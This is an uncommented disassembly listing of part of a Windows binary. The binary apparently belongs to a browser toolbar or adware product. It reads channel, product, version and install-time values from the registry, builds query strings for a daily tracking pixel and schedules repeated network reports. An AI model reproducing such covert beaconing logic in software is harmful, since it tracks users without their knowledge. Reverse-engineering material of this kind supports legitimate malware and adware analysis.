mov dword [ebp - 0x3c], 0x6c6e6863
push eax
lea ecx, [ebp - 0x12f58]
mov word [ebp - 0x38], 0x3d
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0x12f0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x41043c
mov byte [ebp - 0x38], al
lea ecx, [ebp - 0x12f58]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3d647270
push eax
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0x6f0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x4104a6
mov byte [ebp - 0x38], al
lea ecx, [ebp - 0x12f58]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3d646e69
push eax
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0x16f0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x410510
mov byte [ebp - 0x38], al
lea ecx, [ebp - 0x12f58]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3d726576
push eax
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0x12f58]
call fcn.0041aee0
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x13128]
lea eax, [ebp - 0x12f70]
mov dword [ebp - 0x2c], 0x3d767264
push eax
lea ecx, [ebp - 0x12f00]
mov word [ebp - 0x28], 0x30
call fcn.00421ac0
lea eax, [ebp - 0x12f58]
mov byte [ebp - 4], 0x34
push eax
lea ecx, [ebp - 0x12f70]
call fcn.00407d90
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x12f70]
call fcn.00407da0
lea ecx, [ebp - 0x12f70]
call fcn.0041b300
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x12f70]
call fcn.00407020
lea ecx, [ebp - 0x12f58]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
test edi, edi
je 0x410650
movdqa xmm0, xmmword [str.localStoreParam]
lea ecx, [ebp - 0x12f00]
push 0x10
movdqu xmmword [ebp - 0x34], xmm0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x24]
call fcn.00421140
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x35
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x37
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x410641
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x410641
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x38
call fcn.0041b300
push eax
call edi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
mov esi, dword [ebp - 0x13118]
test esi, esi
je 0x41071c
push 0x10
lea ecx, [ebp - 0x12f00]
mov dword [ebp - 0x24], 0x65656c73
mov dword [ebp - 0x20], 0x72615070
mov dword [ebp - 0x1c], 0x614e6d61
mov word [ebp - 0x18], 0x656d
mov byte [ebp - 0x16], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x34]
call fcn.00421140
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x39
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x3b
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x41070d
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x41070d
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x3c
call fcn.0041b300
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
mov esi, dword [ebp - 0x13124]
test esi, esi
je 0x4107e3
movdqa xmm0, xmmword [0x443720]
lea ecx, [ebp - 0x12f00]
push 0x10
movdqu xmmword [ebp - 0x12f54], xmm0
mov byte [ebp - 0x12f44], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x24]
call fcn.00421140
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x3d
push eax
lea eax, [ebp - 0x12f54]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x3f
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x4107d4
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x4107d4
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x40
call fcn.0041b300
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
mov esi, dword [ebp - 0x1311c]
test esi, esi
je 0x4108bd
movdqa xmm0, xmmword [0x443740]
lea ecx, [ebp - 0x12f00]
push 0x10
movdqu xmmword [ebp - 0x12f58], xmm0
mov dword [ebp - 0x12f48], 0x6c615674
mov word [ebp - 0x12f44], 0x6575
mov byte [ebp - 0x12f42], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x24]
call fcn.00421140
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x41
push eax
lea eax, [ebp - 0x12f58]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x43
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x4108ae
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x4108ae
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x44
call fcn.0041b300
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
mov esi, dword [ebp - 0x13120]
test esi, esi
je 0x410982
push 0x10
lea ecx, [ebp - 0x12f00]
mov dword [ebp - 0x30], 0x6e69616d
mov dword [ebp - 0x2c], 0x68746150
mov word [ebp - 0x28], 0x4449
mov byte [ebp - 0x26], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x24]
call fcn.00421140
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x45
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x47
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x410973
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x410973
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x48
call fcn.0041b300
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
mov esi, dword [ebp - 0x64]
test esi, esi
je 0x410a45
push 0x10
lea ecx, [ebp - 0x12f00]
mov dword [ebp - 0x34], 0x6c696164
mov dword [ebp - 0x30], 0x78695079
mov dword [ebp - 0x2c], 0x44496c65
mov byte [ebp - 0x28], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x24]
call fcn.00421140
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x49
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x4b
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x410a36
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x410a36
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421ac0
mov ecx, eax
mov byte [ebp - 4], 0x4c
call fcn.0041b300
push eax
call esi
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
cmp dword [ebp - 0x13100], 0
je 0x410fe8
push 0x10
lea ecx, [ebp - 0x12f00]
mov dword [ebp - 0x24], 0x6c696164
mov dword [ebp - 0x20], 0x78695079
mov dword [ebp - 0x1c], 0x52556c65
mov word [ebp - 0x18], 0x4c
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x34]
call fcn.00421140
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x4d
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x12f00]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x4f
call fcn.004213f0
lea ecx, [ebp - 0x12f00]
call fcn.00422180
test al, al
jne 0x410fd9
lea ecx, [ebp - 0x12f00]
call fcn.004221b0
test al, al
je 0x410fd9
lea eax, [ebp - 0x12f50]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
js 0x410fd9
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x10f0], ax
lea eax, [ebp - 0x10ee]
push eax
call fcn.00425d50
add esp, 0xc
lea eax, [ebp - 0x10f0]
push 0x100
push eax
lea eax, [ebp - 0x12f50]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
test eax, eax
je 0x410fd9
lea eax, [ebp - 0x10f0]
push eax
lea ecx, [ebp - 0x4c]
call fcn.00405a80
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x50
push eax
lea eax, [ebp - 0x12f70]
mov ecx, ebx
push eax
call fcn.0040bc50
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x52
call fcn.00407030
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x12f70]
call fcn.0041bca0
lea ecx, [ebp - 0x12f70]
mov esi, dword [eax]
lea eax, [ebp - 0x13120]
push eax
call fcn.0041bca0
mov edi, eax
lea ecx, [ebp - 0x12f70]
lea eax, [ebp - 0x1311c]
push eax
call fcn.0041b2d0
push dword [ebp - 0x1312c]
push dword [edi]
push dword [eax]
lea eax, [ebp - 0x13124]
push eax
call fcn.004044f0
add esp, 0x10
lea ecx, [ebp - 0x12f70]
push esi
push dword [eax]
lea eax, [ebp - 0x13118]
push eax
call fcn.0041c3f0
movdqa xmm0, xmmword [0x443790]
lea eax, [ebp - 0x12f70]
push eax
lea eax, [ebp - 0x2ac]
mov word [ebp - 0x28c], 0x3d64
push eax
movdqu xmmword [ebp - 0x2ac], xmm0
lea eax, [ebp - 0xe0]
mov byte [ebp - 0x28a], 0
movdqa xmm0, xmmword [0x4437a0]
push eax
movdqu xmmword [ebp - 0x29c], xmm0
call fcn.00403080
add esp, 0xc
push 0x443490
push eax
lea eax, [ebp - 0xc4]
mov byte [ebp - 4], 0x53
push eax
call fcn.00403050
add esp, 0xc
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 0x55
call fcn.00407020
lea eax, [ebp - 0x12f08]
push eax
lea eax, [ebx + 0x49c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x410f7b
push 0x3f5
push eax
mov byte [ebp - 0x16e6], al
lea eax, [ebp - 0x16e5]
push eax
mov dword [ebp - 0x16f0], 0x6c6f6f54
mov dword [ebp - 0x16ec], 0x49726162
mov word [ebp - 0x16e8], 0x44
call fcn.00425d50
push 0x3f4
lea eax, [ebp - 0xee4]
mov dword [ebp - 0xef0], 0x6e616863
push 0
push eax
mov dword [ebp - 0xeec], 0x5f6c656e
mov dword [ebp - 0xee8], 0x6469
call fcn.00425d50
push 0x3f2
lea eax, [ebp - 0x6e2]
mov dword [ebp - 0x6f0], 0x646f7270
push 0
push eax
mov dword [ebp - 0x6ec], 0x5f746375
mov dword [ebp - 0x6e8], 0x656d616e
mov word [ebp - 0x6e4], 0
call fcn.00425d50
push 0x3f2
lea eax, [ebp - 0xae2]
mov dword [ebp - 0xaf0], 0x74736e69
push 0
push eax
mov dword [ebp - 0xaec], 0x5f6c6c61
mov dword [ebp - 0xae8], 0x656d6974
mov word [ebp - 0xae4], 0
call fcn.00425d50
movdqa xmm0, xmmword [str.product_version]
lea eax, [ebp - 0x2adf]
push 0x3ef
push 0
push eax
movdqu xmmword [ebp - 0x2af0], xmm0
mov byte [ebp - 0x2ae0], 0
call fcn.00425d50
push 0xfff
lea eax, [ebp - 0x26ef]
mov byte [ebp - 0x26f0], 0
push 0
push eax
call fcn.00425d50
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x12f04]
add esp, 0x48
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0x16f0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x410deb
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x64696274
push eax
lea ecx, [ebp - 0xc4]
mov word [ebp - 0x28], 0x3d
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0xc4]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0xc4]
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0xef0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x410e58
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0x6c6e6863
push eax
lea ecx, [ebp - 0xc4]
mov word [ebp - 0x28], 0x3d
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0xc4]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0xc4]
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0x6f0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x410eab
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x3d647270
push eax
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x2c], 0x74616276
mov dword [ebp - 0x28], 0x267365
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0xaf0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x410f15
mov byte [ebp - 0x38], al
lea ecx, [ebp - 0xc4]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3d646e69
push eax
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0xc4]
call fcn.0041aee0
push 0x443490
lea ecx, [ebp - 0xc4]
call fcn.0041aee0
lea eax, [ebp - 0x12f04]
mov dword [ebp - 0x12f04], 0x1000
push eax
lea eax, [ebp - 0x26f0]
push eax
push 0
push 0
lea eax, [ebp - 0x2af0]
push eax
push dword [ebp - 0x12f08]
call esi
test eax, eax
jne 0x410f6f
mov byte [ebp - 0x38], al
lea ecx, [ebp - 0xc4]
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x3d726576
push eax
call fcn.0041aee0
lea eax, [ebp - 0x26f0]
push eax
lea ecx, [ebp - 0xc4]
call fcn.0041aee0
push dword [ebp - 0x12f08]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x12f40]
push eax
lea ecx, [ebp - 0x12f00]
call fcn.00421ac0
lea eax, [ebp - 0xc4]
mov byte [ebp - 4], 0x56
push eax
lea ecx, [ebp - 0x12f40]
call fcn.00407d90
lea ecx, [ebp - 0x12f40]
call fcn.0041b300
push eax
call dword [ebp - 0x13100]
add esp, 4
lea ecx, [ebp - 0x12f40]
call fcn.00407020
lea ecx, [ebp - 0xc4]
call fcn.00407020
lea ecx, [ebp - 0x12f70]
call fcn.00407020
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 9
call fcn.004213f0
mov esi, dword [ebp - 0x13104]
test esi, esi
je 0x41117e
push 0x10
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x24], 0x65656c53
mov dword [ebp - 0x20], 0x4d6e4970
mov dword [ebp - 0x1c], 0x74756e69
mov word [ebp - 0x18], 0x7365
mov byte [ebp - 0x16], 0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x57
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x59
call fcn.004213f0
lea ecx, [ebp - 0x34]
call fcn.00422180
test al, al
jne 0x41109c
lea ecx, [ebp - 0x34]
call fcn.004221b0
test al, al
je 0x41109c
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x34]
call fcn.00421ac0
or dword [ebp - 0x13110], 1
mov ecx, eax
call fcn.0041bc70
mov byte [ebp - 0x130f9], 1
test al, al
je 0x4110a3
mov byte [ebp - 0x130f9], 0
test byte [ebp - 0x13110], 1
je 0x4110b7
lea ecx, [ebp - 0xe0]
call fcn.00407020
cmp byte [ebp - 0x130f9], 0
je 0x41114a
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x34]
call fcn.00421ac0
mov ecx, eax
call fcn.0041b300
push eax
call fcn.00426e85
add esp, 4
lea ecx, [ebp - 0xe0]
mov edi, eax
call fcn.00407020
push dword [ebx + 0x450]
lea ecx, [ebx + 4]
call fcn.00412770
cmp edi, 0xffffffff
je 0x411137
lea ecx, [ebx + 4]
push 0
test edi, edi
je 0x411115
imul eax, edi, 0xea60
push eax
jmp 0x411162
push 0x2bf20
push 0x3aa0
call fcn.00417e90
push 0
mov dword [ebx + 0x450], eax
call dword [ebp - 0x13104]
add esp, 4
jmp 0x411172
push 0xffffffffffffffff
mov dword [ebx + 0x450], 0
call esi
add esp, 4
jmp 0x411172
push dword [ebx + 0x450]
lea ecx, [ebx + 4]
call fcn.00412770
push 0
push 0x36ee80
lea ecx, [ebx + 4]
push 0x3aa0
call fcn.00417e90
mov dword [ebx + 0x450], eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 9
call fcn.004213f0
movdqa xmm0, xmmword [0x4437d0]
lea ecx, [ebp - 0x12fa8]
push 0x10
movdqu xmmword [ebp - 0x288], xmm0
mov dword [ebp - 0x278], 0x736574
call fcn.00420370
push str.1440
lea ecx, [ebp - 0x12f00]
call fcn.00421140
lea eax, [ebp - 0x12f00]
mov byte [ebp - 4], 0x5a
push eax
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x12fa8]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f00]
mov byte [ebp - 4], 0x5c
call fcn.004213f0
lea ecx, [ebp - 0x12fa8]
call fcn.00422180
test al, al
jne 0x411239
lea ecx, [ebp - 0x12fa8]
call fcn.004221b0
test al, al
je 0x411239
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x12fa8]
call fcn.00421ac0
mov ecx, eax
call fcn.0041b300
push eax
call fcn.00426e85
add esp, 4
mov dword [ebx + 0x474], eax
lea ecx, [ebp - 0xe0]
call fcn.00407020
movdqa xmm0, xmmword [0x443710]
lea ecx, [ebp - 0x12f98]
push 0x10
movdqu xmmword [ebp - 0x244], xmm0
mov dword [ebp - 0x234], 0x6e496b63
mov dword [ebp - 0x230], 0x756e694d
mov dword [ebp - 0x22c], 0x736574
call fcn.00420370
push 0x443488
lea ecx, [ebp - 0x12f18]
call fcn.00421140
lea eax, [ebp - 0x12f18]
mov byte [ebp - 4], 0x5d
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x12f98]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x12f18]
mov byte [ebp - 4], 0x5f
call fcn.004213f0
lea ecx, [ebp - 0x12f98]
call fcn.00422180
test al, al
jne 0x411308
lea ecx, [ebp - 0x12f98]
call fcn.004221b0
test al, al
je 0x411308
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x12f98]
call fcn.00421ac0
mov ecx, eax
call fcn.0041b300
push eax
call fcn.00426e85
add esp, 4
mov dword [ebx + 0x478], eax
lea ecx, [ebp - 0xe0]
call fcn.00407020
movdqa xmm0, xmmword [str.mainPathToaster]
lea ecx, [ebp - 0x12fb8]
push 0x10
movdqu xmmword [ebp - 0x2f0], xmm0
call fcn.00420370
push 0x443190
lea ecx, [ebp - 0x24]
call fcn.00421140
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x60
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x12fb8]
push eax
lea ecx, [ebp - 0x12f28]
call fcn.004220c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x62
call fcn.004213f0
lea ecx, [ebp - 0x12fb8]
call fcn.00422180
test al, al
jne 0x4113a6
lea ecx, [ebp - 0x12fb8]
call fcn.004221b0
test al, al
je 0x4113a6
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x12fb8]
call fcn.00421ac0
push eax
lea ecx, [ebx + 0x47c]
call fcn.004076e0
lea ecx, [ebp - 0xe0]
call fcn.00407020
push 0
push 0x5265c00
push 0x3a99
lea ecx, [ebx + 4]
call fcn.00417e90
lea ecx, [ebp - 0x12fb8]
mov dword [ebx + 0x410], eax
mov byte [ebp - 4], 0x5f
call fcn.004213f0
lea ecx, [ebp - 0x12f98]
mov byte [ebp - 4], 0x5c
call fcn.004213f0
lea ecx, [ebp - 0x12fa8]
mov byte [ebp - 4], 9
call fcn.004213f0
mov edi, dword [ebp - 0x13114]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
je 0x411400
push edi
call esi
mov eax, dword [ebp - 0x1310c]
test eax, eax
je 0x41140d
push eax
call esi
lea ecx, [ebp - 0x13040]
call fcn.00407450
lea ecx, [ebp - 0x12f28]
mov byte [ebp - 4], 6
call fcn.004213f0
lea ecx, [ebp - 0x13108]
call fcn.00401650
lea ecx, [ebp - 0x130f8]
call fcn.00407db0
lea ecx, [ebp - 0x12fd0]
call fcn.00407020
lea ecx, [ebp - 0x12f88]
call fcn.00407020
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004258e7
mov esp, ebp
pop ebp
ret